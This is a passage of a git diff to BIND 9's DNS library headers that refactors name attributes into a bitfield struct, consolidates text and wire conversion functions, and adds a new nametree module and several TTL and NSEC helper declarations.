@@ -948,10 +993,6 @@ dns_message_gettemprdatalist(dns_message_t *msg, dns_rdatalist_t **item);
  *\li	msg be a valid message
  *
  *\li	item != NULL && *item == NULL
- *
- * Returns:
- *\li	#ISC_R_SUCCESS		-- All is well.
- *\li	#ISC_R_NOMEMORY		-- No item can be allocated.
  */
 
 void
@@ -1160,7 +1201,7 @@ dns_message_gettsigkey(dns_message_t *msg);
  *\li	'msg' is a valid message
  */
 
-isc_result_t
+void
 dns_message_setquerytsig(dns_message_t *msg, isc_buffer_t *querytsig);
 /*%<
  * Indicates that 'querytsig' is the TSIG from the signed query for which
@@ -1173,11 +1214,6 @@ dns_message_setquerytsig(dns_message_t *msg, isc_buffer_t *querytsig);
  *	or NULL
  *
  *\li	'msg' is a valid message
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
  */
 
 isc_result_t
@@ -1371,7 +1407,7 @@ dns_message_getrawmessage(dns_message_t *msg);
 
 void
 dns_message_setsortorder(dns_message_t *msg, dns_rdatasetorderfunc_t order,
-			 dns_aclenv_t *env, const dns_acl_t *acl,
+			 dns_aclenv_t *env, dns_acl_t *acl,
 			 const dns_aclelement_t *element);
 /*%<
  * Define the order in which RR sets get rendered by
@@ -1487,4 +1523,28 @@ dns_message_clonebuffer(dns_message_t *msg);
  * \li   msg be a valid message.
  */
 
+isc_result_t
+dns_message_minttl(dns_message_t *msg, const dns_section_t sectionid,
+		   dns_ttl_t *pttl);
+/*%<
+ * Get the smallest TTL from the 'sectionid' section of a rendered
+ * message.
+ *
+ * Requires:
+ * \li   msg be a valid rendered message;
+ * \li   'pttl != NULL'.
+ */
+
+isc_result_t
+dns_message_response_minttl(dns_message_t *msg, dns_ttl_t *pttl);
+/*%<
+ * Get the smalled TTL from the Answer section of 'msg', or if empty, try
+ * the MIN(SOA TTL, SOA MINIMUM) value from an SOA record in the Authority
+ * section. If neither of these are set, return ISC_R_NOTFOUND.
+ *
+ * Requires:
+ * \li   msg be a valid rendered message;
+ * \li   'pttl != NULL'.
+ */
+
 ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/name.h b/lib/dns/include/dns/name.h
index bc141e2cf2..9e4216b561 100644
--- a/lib/dns/include/dns/name.h
+++ b/lib/dns/include/dns/name.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_NAME_H
-#define DNS_NAME_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -30,9 +31,9 @@
  * makes adding names to messages easy.  Having much of the server know
  * the representation would be perilous, and we certainly don't want each
  * user of names to be manipulating such a low-level structure.  This is
- * where the Names and Labels module comes in.  The module allows name or
- * label handles to be created and attached to uncompressed wire format
- * regions.  All name operations and conversions are done through these
+ * where the Names and Labels module comes in. The module allows name
+ * handles to be created and attached to uncompressed wire format
+ * regions. All name operations and conversions are done through these
  * handles.
  *
  * MP:
@@ -55,7 +56,6 @@
  * Standards:
  *\li	RFC1035
  *\li	Draft EDNS0 (0)
- *\li	Draft Binary Labels (2)
  *
  */
 
@@ -75,18 +75,11 @@
 
 ISC_LANG_BEGINDECLS
 
-/*****
-***** Labels
-*****
-***** A 'label' is basically a region.  It contains one DNS wire format
-***** label of type 00 (ordinary).
-*****/
-
 /*****
 ***** Names
 *****
 ***** A 'name' is a handle to a binary region.  It contains a sequence of one
-***** or more DNS wire format labels of type 00 (ordinary).
+***** or more DNS wire format labels.
 ***** Note that all names are not required to end with the root label,
 ***** as they are in the actual DNS wire protocol.
 *****/
@@ -105,33 +98,30 @@ struct dns_name {
 	unsigned char *ndata;
 	unsigned int   length;
 	unsigned int   labels;
-	unsigned int   attributes;
+	struct dns_name_attrs {
+		bool absolute	  : 1; /*%< Used by name.c */
+		bool readonly	  : 1; /*%< Used by name.c */
+		bool dynamic	  : 1; /*%< Used by name.c */
+		bool dynoffsets	  : 1; /*%< Used by name.c */
+		bool nocompress	  : 1; /*%< Used by name.c */
+		bool cache	  : 1; /*%< Used by resolver. */
+		bool answer	  : 1; /*%< Used by resolver. */
+		bool ncache	  : 1; /*%< Used by resolver. */
+		bool chaining	  : 1; /*%< Used by resolver. */
+		bool chase	  : 1; /*%< Used by resolver. */
+		bool wildcard	  : 1; /*%< Used by server. */
+		bool prerequisite : 1; /*%< Used by client. */
+		bool update	  : 1; /*%< Used by client. */
+		bool hasupdaterec : 1; /*%< Used by client. */
+	} attributes;
 	unsigned char *offsets;
-	isc_buffer_t * buffer;
+	isc_buffer_t  *buffer;
 	ISC_LINK(dns_name_t) link;
 	ISC_LIST(dns_rdataset_t) list;
 };
 
 #define DNS_NAME_MAGIC ISC_MAGIC('D', 'N', 'S', 'n')
 
-#define DNS_NAMEATTR_ABSOLUTE	0x00000001
-#define DNS_NAMEATTR_READONLY	0x00000002
-#define DNS_NAMEATTR_DYNAMIC	0x00000004
-#define DNS_NAMEATTR_DYNOFFSETS 0x00000008
-#define DNS_NAMEATTR_NOCOMPRESS 0x00000010
-/*
- * Attributes below 0x0100 reserved for name.c usage.
- */
-#define DNS_NAMEATTR_CACHE	  0x00000100 /*%< Used by resolver. */
-#define DNS_NAMEATTR_ANSWER	  0x00000200 /*%< Used by resolver. */
-#define DNS_NAMEATTR_NCACHE	  0x00000400 /*%< Used by resolver. */
-#define DNS_NAMEATTR_CHAINING	  0x00000800 /*%< Used by resolver. */
-#define DNS_NAMEATTR_CHASE	  0x00001000 /*%< Used by resolver. */
-#define DNS_NAMEATTR_WILDCARD	  0x00002000 /*%< Used by server. */
-#define DNS_NAMEATTR_PREREQUISITE 0x00004000 /*%< Used by client. */
-#define DNS_NAMEATTR_UPDATE	  0x00008000 /*%< Used by client. */
-#define DNS_NAMEATTR_HASUPDATEREC 0x00010000 /*%< Used by client. */
-
 /*
  * Various flags.
  */
@@ -142,8 +132,8 @@ struct dns_name {
 #define DNS_NAME_CHECKMX	0x0010 /*%< Used by rdata. */
 #define DNS_NAME_CHECKMXFAIL	0x0020 /*%< Used by rdata. */
 
-LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_rootname;
-LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_wildcardname;
+extern const dns_name_t *dns_rootname;
+extern const dns_name_t *dns_wildcardname;
 
 /*%<
  * DNS_NAME_INITNONABSOLUTE and DNS_NAME_INITABSOLUTE are macros for
@@ -168,33 +158,37 @@ LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_wildcardname;
 #define DNS_NAME_INITNONABSOLUTE(A, B)                         \
 	{                                                      \
 		DNS_NAME_MAGIC, A, (sizeof(A) - 1), sizeof(B), \
-			DNS_NAMEATTR_READONLY, B, NULL,        \
+			{ .readonly = true }, B, NULL,         \
 			{ (void *)-1, (void *)-1 }, {          \
 			NULL, NULL                             \
 		}                                              \
 	}
 
-#define DNS_NAME_INITABSOLUTE(A, B)                                       \
-	{                                                                 \
-		DNS_NAME_MAGIC, A, sizeof(A), sizeof(B),                  \
-			DNS_NAMEATTR_READONLY | DNS_NAMEATTR_ABSOLUTE, B, \
-			NULL, { (void *)-1, (void *)-1 }, {               \
-			NULL, NULL                                        \
-		}                                                         \
+#define DNS_NAME_INITABSOLUTE(A, B)                                      \
+	{                                                                \
+		DNS_NAME_MAGIC, A, sizeof(A), sizeof(B),                 \
+			{ .readonly = true, .absolute = true }, B, NULL, \
+			{ (void *)-1, (void *)-1 }, {                    \
+			NULL, NULL                                       \
+		}                                                        \
 	}
 
-#define DNS_NAME_INITEMPTY                                 \
-	{                                                  \
-		DNS_NAME_MAGIC, NULL, 0, 0, 0, NULL, NULL, \
-			{ (void *)-1, (void *)-1 }, {      \
-			NULL, NULL                         \
-		}                                          \
+#define DNS_NAME_INITEMPTY                                  \
+	{                                                   \
+		DNS_NAME_MAGIC, NULL, 0, 0, {}, NULL, NULL, \
+			{ (void *)-1, (void *)-1 }, {       \
+			NULL, NULL                          \
+		}                                           \
 	}
 
 /*%
- * Standard size of a wire format name
+ * Standard sizes of a wire format name
  */
-#define DNS_NAME_MAXWIRE 255
+#define DNS_NAME_MAXWIRE   255
+#define DNS_NAME_MAXLABELS 128
+#define DNS_NAME_LABELLEN  63
+
+typedef unsigned char dns_offsets_t[DNS_NAME_MAXLABELS];
 
 /*
  * Text output filter procedure.
@@ -243,7 +237,7 @@ dns_name_reset(dns_name_t *name);
  *	  is retained but the buffer itself is cleared.
  *
  * \li	+ Of the attributes associated with 'name', all are retained except
- *	  DNS_NAMEATTR_ABSOLUTE.
+ *	  the absolute flag.
  *
  * Requires:
  * \li	'name' is a valid name.
@@ -349,29 +343,14 @@ dns_name_iswildcard(const dns_name_t *name);
  * \li	FALSE		The least significant label of 'name' is not '*'.
  */
 
-unsigned int
-dns_name_hash(const dns_name_t *name, bool case_sensitive);
+uint32_t
+dns_name_hash(const dns_name_t *name);
 /*%<
  * Provide a hash value for 'name'.
  *
- * Note: if 'case_sensitive' is false, then names which differ only in
- * case will have the same hash value.
- *
- * Requires:
- * \li	'name' is a valid name
- *
- * Returns:
- * \li	A hash value
- */
-
-unsigned int
-dns_name_fullhash(const dns_name_t *name, bool case_sensitive);
-/*%<
- * Provide a hash value for 'name'.  Unlike dns_name_hash(), this function
- * always takes into account of the entire name to calculate the hash value.
- *
- * Note: if 'case_sensitive' is false, then names which differ only in
- * case will have the same hash value.
+ * Note: This function always takes into account of the entire name to calculate
+ * the hash value. The names which differ only in case will have the same hash
+ * value.
  *
  * Requires:
  *\li	'name' is a valid name
@@ -673,8 +652,7 @@ dns_name_fromregion(dns_name_t *name, const isc_region_t *r);
  *	so far converted.  A maximum of 255 bytes is converted.
  *
  * Requires:
- * \li	The data in 'r' is a sequence of one or more type 00 or type 01000001
- *	labels.
+ * \li	The data in 'r' is a sequence of one or more type 00 labels.
  */
 
 void
@@ -690,8 +668,7 @@ dns_name_toregion(const dns_name_t *name, isc_region_t *r);
  */
 
 isc_result_t
-dns_name_fromwire(dns_name_t *name, isc_buffer_t *source,
-		  dns_decompress_t *dctx, unsigned int options,
+dns_name_fromwire(dns_name_t *name, isc_buffer_t *source, dns_decompress_t dctx,
 		  isc_buffer_t *target);
 /*%<
  * Copy the possibly-compressed name at source (active region) into target,
@@ -700,9 +677,6 @@ dns_name_fromwire(dns_name_t *name, isc_buffer_t *source,
  * Notes:
  * \li	Decompression policy is controlled by 'dctx'.
  *
- * \li	If DNS_NAME_DOWNCASE is set, any uppercase letters in 'source' will be
- *	downcased when they are copied into 'target'.
- *
  * Security:
  *
  * \li	*** WARNING ***
@@ -723,13 +697,12 @@ dns_name_fromwire(dns_name_t *name, isc_buffer_t *source,
  *
  * \li	'dctx' is a valid decompression context.
  *
+ * \li	DNS_NAME_DOWNCASE is not set.
+ *
  * Ensures:
  *
  *	If result is success:
- * \li	 	If 'target' is not NULL, 'name' is attached to it.
- *
- * \li		Uppercase letters are downcased in the copy iff
- *		DNS_NAME_DOWNCASE is set in options.
+ * \li		If 'target' is not NULL, 'name' is attached to it.
  *
  * \li		The current location in source is advanced, and the used space
  *		in target is updated.
@@ -742,23 +715,18 @@ dns_name_fromwire(dns_name_t *name, isc_buffer_t *source,
  * \li	Bad Form: Compression type not allowed
  * \li	Bad Form: Bad compression pointer
  * \li	Bad Form: Input too short
- * \li	Resource Limit: Too many compression pointers
  * \li	Resource Limit: Not enough space in buffer
  */
 
 isc_result_t
 dns_name_towire(const dns_name_t *name, dns_compress_t *cctx,
-		isc_buffer_t *target);
-isc_result_t
-dns_name_towire2(const dns_name_t *name, dns_compress_t *cctx,
-		 isc_buffer_t *target, uint16_t *comp_offsetp);
+		isc_buffer_t *target, uint16_t *comp_offsetp);
 /*%<
  * Convert 'name' into wire format, compressing it as specified by the
  * compression context 'cctx', and storing the result in 'target'.
  *
  * Notes:
- * \li	If the compression context allows global compression, then the
- *	global compression table may be updated.
+ * \li	If compression is permitted, then the cctx table may be updated.
  *
  * Requires:
  * \li	'name' is a valid name
@@ -769,8 +737,7 @@ dns_name_towire2(const dns_name_t *name, dns_compress_t *cctx,
  *
  * \li	target is a valid buffer.
  *
- * \li	Any offsets specified in a global compression table are valid
- *	for buffer.
+ * \li	Any offsets in the compression table are valid for buffer.
  *
  * Ensures:
  *
@@ -830,30 +797,22 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
  */
 
 #define DNS_NAME_OMITFINALDOT 0x01U
-#define DNS_NAME_MASTERFILE   0x02U /* escape $ and @ */
+#define DNS_NAME_PRINCIPAL    0x02U /* do not escape $ and @ */
 
 isc_result_t
-dns_name_toprincipal(const dns_name_t *name, isc_buffer_t *target);
-
-isc_result_t
-dns_name_totext(const dns_name_t *name, bool omit_final_dot,
+dns_name_totext(const dns_name_t *name, unsigned int options,
 		isc_buffer_t *target);
-
-isc_result_t
-dns_name_totext2(const dns_name_t *name, unsigned int options,
-		 isc_buffer_t *target);
 /*%<
  * Convert 'name' into text format, storing the result in 'target'.
  *
  * Notes:
- *\li	If 'omit_final_dot' is true, then the final '.' in absolute
- *	names other than the root name will be omitted.
- *
  *\li	If DNS_NAME_OMITFINALDOT is set in options, then the final '.'
  *	in absolute names other than the root name will be omitted.
  *
- *\li	If DNS_NAME_MASTERFILE is set in options, '$' and '@' will also
- *	be escaped.
+ *\li	If DNS_NAME_PRINCIPAL is set in options, '$' and '@' will *not*
+ *	be escaped; otherwise they will, along with other characters that
+ *	are special in zone files ('"', '(', ')', '.', ';', and '\'),
+ *	which are always escaped.
  *
  *\li	If dns_name_countlabels == 0, the name will be "@", representing the
  *	current origin as described by RFC1035.
@@ -864,9 +823,9 @@ dns_name_totext2(const dns_name_t *name, unsigned int options,
  *
  *\li	'name' is a valid name
  *
- *\li	'target' is a valid buffer.
+ *\li	'target' is a valid buffer
  *
- *\li	if dns_name_isabsolute == FALSE, then omit_final_dot == FALSE
+ *\li	if dns_name_isabsolute is false, then omit_final_dot is false
  *
  * Ensures:
  *
@@ -1190,12 +1149,9 @@ dns_name_tostring(const dns_name_t *source, char **target, isc_mem_t *mctx);
  */
 
 isc_result_t
-dns_name_fromstring(dns_name_t *target, const char *src, unsigned int options,
+dns_name_fromstring(dns_name_t *target, const char *src,
+		    const dns_name_t *origin, unsigned int options,
 		    isc_mem_t *mctx);
-isc_result_t
-dns_name_fromstring2(dns_name_t *target, const char *src,
-		     const dns_name_t *origin, unsigned int options,
-		     isc_mem_t *mctx);
 /*%<
  * Convert a string to a name and place it in target, allocating memory
  * as necessary.  'options' has the same semantics as that of
@@ -1224,10 +1180,8 @@ dns_name_settotextfilter(dns_name_totextfilter_t *proc);
  * Set / clear a thread specific function 'proc' to be called at the
  * end of dns_name_totext().
  *
- * Note: Under Windows you need to call "dns_name_settotextfilter(NULL);"
- * prior to exiting the thread otherwise memory will be leaked.
- * For other platforms, which are pthreads based, this is still a good
- * idea but not required.
+ * Note: It's a good practice to call "dns_name_settotextfilter(NULL);"
+ * prior to exiting the thread.
  *
  * Returns
  *\li	#ISC_R_SUCCESS
@@ -1303,10 +1257,17 @@ dns_name_isula(const dns_name_t *owner);
 
 bool
 dns_name_istat(const dns_name_t *name);
-/*
+/*%<
  * Determine if 'name' is a potential 'trust-anchor-telemetry' name.
  */
 
+bool
+dns_name_isdnssvcb(const dns_name_t *name);
+/*%<
+ * Determine if 'name' is a dns service name,
+ * i.e. it starts with and optional _port label followed by a _dns label.
+ */
+
 ISC_LANG_ENDDECLS
 
 /*
@@ -1321,36 +1282,33 @@ ISC_LANG_ENDDECLS
  * WARNING:  No assertion checking is done for these macros.
  */
 
-#define DNS_NAME_INIT(n, o)                       \
-	do {                                      \
-		dns_name_t *_n = (n);             \
-		/* memset(_n, 0, sizeof(*_n)); */ \
-		_n->magic = DNS_NAME_MAGIC;       \
-		_n->ndata = NULL;                 \
-		_n->length = 0;                   \
-		_n->labels = 0;                   \
-		_n->attributes = 0;               \
-		_n->offsets = (o);                \
-		_n->buffer = NULL;                \
-		ISC_LINK_INIT(_n, link);          \
-		ISC_LIST_INIT(_n->list);          \
+#define DNS_NAME_INIT(n, o)                                 \
+	do {                                                \
+		dns_name_t *_n = (n);                       \
+		/* memset(_n, 0, sizeof(*_n)); */           \
+		_n->magic = DNS_NAME_MAGIC;                 \
+		_n->ndata = NULL;                           \
+		_n->length = 0;                             \
+		_n->labels = 0;                             \
+		_n->attributes = (struct dns_name_attrs){}; \
+		_n->offsets = (o);                          \
+		_n->buffer = NULL;                          \
+		ISC_LINK_INIT(_n, link);                    \
+		ISC_LIST_INIT(_n->list);                    \
 	} while (0)
 
-#define DNS_NAME_RESET(n)                                  \
-	do {                                               \
-		(n)->ndata = NULL;                         \
-		(n)->length = 0;                           \
-		(n)->labels = 0;                           \
-		(n)->attributes &= ~DNS_NAMEATTR_ABSOLUTE; \
-		if ((n)->buffer != NULL)                   \
-			isc_buffer_clear((n)->buffer);     \
+#define DNS_NAME_RESET(n)                              \
+	do {                                           \
+		(n)->ndata = NULL;                     \
+		(n)->length = 0;                       \
+		(n)->labels = 0;                       \
+		(n)->attributes.absolute = false;      \
+		if ((n)->buffer != NULL)               \
+			isc_buffer_clear((n)->buffer); \
 	} while (0)
 
 #define DNS_NAME_SETBUFFER(n, b) (n)->buffer = (b)
 
-#define DNS_NAME_ISABSOLUTE(n) \
-	(((n)->attributes & DNS_NAMEATTR_ABSOLUTE) != 0 ? true : false)
-
 #define DNS_NAME_COUNTLABELS(n) ((n)->labels)
 
 #define DNS_NAME_TOREGION(n, r)            \
@@ -1361,9 +1319,9 @@ ISC_LANG_ENDDECLS
 
 #define DNS_NAME_SPLIT(n, l, p, s)                                             \
 	do {                                                                   \
-		dns_name_t * _n = (n);                                         \
-		dns_name_t * _p = (p);                                         \
-		dns_name_t * _s = (s);                                         \
+		dns_name_t  *_n = (n);                                         \
+		dns_name_t  *_p = (p);                                         \
+		dns_name_t  *_s = (s);                                         \
 		unsigned int _l = (l);                                         \
 		if (_p != NULL)                                                \
 			dns_name_getlabelsequence(_n, 0, _n->labels - _l, _p); \
@@ -1378,10 +1336,8 @@ ISC_LANG_ENDDECLS
 #define dns_name_reset(n)	   DNS_NAME_RESET(n)
 #define dns_name_setbuffer(n, b)   DNS_NAME_SETBUFFER(n, b)
 #define dns_name_countlabels(n)	   DNS_NAME_COUNTLABELS(n)
-#define dns_name_isabsolute(n)	   DNS_NAME_ISABSOLUTE(n)
+#define dns_name_isabsolute(n)	   ((n)->attributes.absolute)
 #define dns_name_toregion(n, r)	   DNS_NAME_TOREGION(n, r)
 #define dns_name_split(n, l, p, s) DNS_NAME_SPLIT(n, l, p, s)
 
 #endif /* DNS_NAME_USEINLINE */
-
-#endif /* DNS_NAME_H */
diff --git a/lib/dns/include/dns/nametree.h b/lib/dns/include/dns/nametree.h
new file mode 100644
index 0000000000..228a62b9c5
--- /dev/null
+++ b/lib/dns/include/dns/nametree.h
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*****
+***** Module Info
+*****/
+
+/*! \file
+ * \brief
+ * A nametree module is a tree of DNS names containing boolean values
+ * or bitfields, allowing a quick lookup to see whether a name is included
+ * in or excluded from some policy.
+ */
+
+#include <stdbool.h>
+
+#include <isc/lang.h>
+#include <isc/magic.h>
+#include <isc/refcount.h>
+#include <isc/rwlock.h>
+#include <isc/stdtime.h>
+
+#include <dns/rdatastruct.h>
+#include <dns/types.h>
+
+#include <dst/dst.h>
+
+/* Define to 1 for detailed reference tracing */
+#undef DNS_NAMETREE_TRACE
+
+typedef enum {
+	DNS_NAMETREE_BOOL,
+	DNS_NAMETREE_BITS,
+	DNS_NAMETREE_COUNT
+} dns_nametree_type_t;
+
+ISC_LANG_BEGINDECLS
+
+void
+dns_nametree_create(isc_mem_t *mctx, dns_nametree_type_t type, const char *name,
+		    dns_nametree_t **ntp);
+/*%<
+ * Create a nametree.
+ *
+ * If 'name' is not NULL, it will be saved as the name of the QP trie
+ * for debugging purposes.
+ *
+ * 'type' indicates whether the tree will be used for storing boolean
+ * values (DNS_NAMETREE_BOOL), bitfields (DNS_NAMETREE_BITS), or counters
+ * (DNS_NAMETREE_COUNT).
+ *
+ * Requires:
+ *
+ *\li	'mctx' is a valid memory context.
+ *\li	ntp != NULL && *ntp == NULL
+ */
+
+isc_result_t
+dns_nametree_add(dns_nametree_t *nametree, const dns_name_t *name,
+		 uint32_t value);
+/*%<
+ * Add a node to 'nametree'.
+ *
+ * If the nametree type was set to DNS_NAMETREE_BOOL, then 'value'
+ * represents a single boolean value, true or false. If the name already
+ * exists within the tree, then return ISC_R_EXISTS.
+ *
+ * If the nametree type was set to DNS_NAMETREE_COUNT, then 'value'
+ * can only be true. Each time the same name is added to the tree,
+ * ISC_R_SUCCESS is returned and a counter is incremented.
+ * dns_nametree_delete() must be deleted the same number of times
+ * as dns_nametree_add() before the name is removed from the tree.
+ *
+ * If the nametree type was set to DNS_NAMETREE_BITS, then 'value' is
+ * a bit number within a bit field, which is sized to accomodate at least
+ * 'value' bits. If the name already exists, then that bit will be set
+ * in the bitfield, other bits will be retained, and ISC_R_SUCCESS will be
+ * returned. If 'value' excees the number of bits in the existing bit
+ * field, the field will be expanded.
+ *
+ * Requires:
+ *
+ *\li	'nametree' points to a valid nametree.
+ *
+ * Returns:
+ *
+ *\li	ISC_R_SUCCESS
+ *\li	ISC_R_EXISTS
+ *
+ *\li	Any other result indicates failure.
+ */
+
+isc_result_t
+dns_nametree_delete(dns_nametree_t *nametree, const dns_name_t *name);
+/*%<
+ * Delete 'name' from 'nametree'.
+ *
+ * If the nametree type was set to DNS_NAMETREE_COUNT, then this must
+ * be called for each name the same number of times as dns_nametree_add()
+ * was called before the name is removed.
+ *
+ * Requires:
+ *
+ *\li	'nametree' points to a valid nametree.
+ *\li	'name' is not NULL
+ *
+ * Returns:
+ *
+ *\li	ISC_R_SUCCESS
+ *
+ *\li	Any other result indicates failure.
+ */
+
+isc_result_t
+dns_nametree_find(dns_nametree_t *nametree, const dns_name_t *name,
+		  dns_ntnode_t **ntp);
+/*%<
+ * Retrieve the node that exactly matches 'name' from 'nametree'.
+ *
+ * Requires:
+ *
+ *\li	'nametree' is a valid nametree.
+ *
+ *\li	'name' is a valid name.
+ *
+ *\li	ntp != NULL && *ntp == NULL
+ *
+ * Returns:
+ *
+ *\li	ISC_R_SUCCESS
+ *\li	ISC_R_NOTFOUND
+ *
+ *\li	Any other result indicates an error.
+ */
+
+bool
+dns_nametree_covered(dns_nametree_t *nametree, const dns_name_t *name,
+		     dns_name_t *found, uint32_t bit);
+/*%<
+ * Indicates whether a 'name' (with optional 'bit' value) is covered by
+ * 'nametree'.
+ *
+ * In DNS_NAMETREE_BOOL nametrees, this returns true if 'name' has a match
+ * or a closest ancestor in 'nametree' with its value set to 'true'.
+ * 'bit' is ignored.
+ *
+ * In DNS_NAMETREE_BITS trees, this returns true if 'name' has a match or
+ * a closest ancestor in 'nametree' with the 'bit' set in its bitfield.
+ *
+ * If a name is not found, the default return value is false.
+ *
+ * If 'found' is not NULL, the name or ancestor name that was found in
+ * the tree is copied into it.
+ *
+ * Requires:
+ *
+ *\li	'nametree' is a valid nametree, or is NULL.
+ */
+
+#if DNS_NAMETREE_TRACE
+#define dns_nametree_ref(ptr) \
+	dns_nametree__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_nametree_unref(ptr) \
+	dns_nametree__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_nametree_attach(ptr, ptrp) \
+	dns_nametree__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_nametree_detach(ptrp) \
+	dns_nametree__detach(ptrp, __func__, __FILE__, __LINE__)
+#define dns_ntnode_ref(ptr) dns_ntnode__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_ntnode_unref(ptr) \
+	dns_ntnode__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_ntnode_attach(ptr, ptrp) \
+	dns_ntnode__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_ntnode_detach(ptrp) \
+	dns_ntnode__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_nametree);
+ISC_REFCOUNT_TRACE_DECL(dns_ntnode);
+#else
+ISC_REFCOUNT_DECL(dns_nametree);
+ISC_REFCOUNT_DECL(dns_ntnode);
+#endif
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/ncache.h b/lib/dns/include/dns/ncache.h
index 160c28de96..ce6213637f 100644
--- a/lib/dns/include/dns/ncache.h
+++ b/lib/dns/include/dns/ncache.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_NCACHE_H
-#define DNS_NCACHE_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -181,5 +182,3 @@ dns_ncache_current(dns_rdataset_t *ncacherdataset, dns_name_t *found,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_NCACHE_H */
diff --git a/lib/dns/include/dns/nsec.h b/lib/dns/include/dns/nsec.h
index 8dc28f6914..e68ea35ebf 100644
--- a/lib/dns/include/dns/nsec.h
+++ b/lib/dns/include/dns/nsec.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_NSEC_H
-#define DNS_NSEC_H 1
+#pragma once
 
 /*! \file dns/nsec.h */
 
@@ -18,6 +19,7 @@
 
 #include <isc/lang.h>
 
+#include <dns/diff.h>
 #include <dns/name.h>
 #include <dns/types.h>
 
@@ -59,11 +61,15 @@ dns_nsec_typepresent(dns_rdata_t *nsec, dns_rdatatype_t type);
  */
 
 isc_result_t
-dns_nsec_nseconly(dns_db_t *db, dns_dbversion_t *version, bool *answer);
+dns_nsec_nseconly(dns_db_t *db, dns_dbversion_t *version, dns_diff_t *diff,
+		  bool *answer);
 /*
  * Report whether the DNSKEY RRset has a NSEC only algorithm.  Unknown
  * algorithms are assumed to support NSEC3.  If DNSKEY is not found,
  * *answer is set to false, and ISC_R_NOTFOUND is returned.
+ * If 'diff' is provided, check if the NSEC only DNSKEY will be deleted.
+ * If so, and there are no other NSEC only DNSKEYs that will stay in 'db',
+ * consider the DNSKEY RRset to have no NSEC only DNSKEYs.
  *
  * Requires:
  * 	'answer' to be non NULL.
@@ -107,6 +113,14 @@ dns_nsec_noexistnodata(dns_rdatatype_t type, const dns_name_t *name,
  * Return ISC_R_IGNORE when the NSEC is not the appropriate one.
  */
 
-ISC_LANG_ENDDECLS
+bool
+dns_nsec_requiredtypespresent(dns_rdataset_t *rdataset);
+/*
+ * Return true if all the NSEC records in rdataset have both
+ * NSEC and RRSIG present.
+ *
+ * Requires:
+ * \li	rdataset to be a NSEC rdataset.
+ */
 
-#endif /* DNS_NSEC_H */
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/nsec3.h b/lib/dns/include/dns/nsec3.h
index 0cbcb51108..e4da790b06 100644
--- a/lib/dns/include/dns/nsec3.h
+++ b/lib/dns/include/dns/nsec3.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_NSEC3_H
-#define DNS_NSEC3_H 1
+#pragma once
 
 #include <stdbool.h>
 
@@ -107,7 +108,7 @@ dns_nsec3_supportedhash(dns_hash_t hash);
 
 isc_result_t
 dns_nsec3_addnsec3(dns_db_t *db, dns_dbversion_t *version,
-		   const dns_name_t *		 name,
+		   const dns_name_t		*name,
 		   const dns_rdata_nsec3param_t *nsec3param, dns_ttl_t nsecttl,
 		   bool unsecure, dns_diff_t *diff);
 
@@ -154,7 +155,7 @@ dns_nsec3_addnsec3sx(dns_db_t *db, dns_dbversion_t *version,
 
 isc_result_t
 dns_nsec3_delnsec3(dns_db_t *db, dns_dbversion_t *version,
-		   const dns_name_t *		 name,
+		   const dns_name_t		*name,
 		   const dns_rdata_nsec3param_t *nsec3param, dns_diff_t *diff);
 
 isc_result_t
@@ -164,7 +165,7 @@ dns_nsec3_delnsec3s(dns_db_t *db, dns_dbversion_t *version,
 isc_result_t
 dns_nsec3_delnsec3sx(dns_db_t *db, dns_dbversion_t *version,
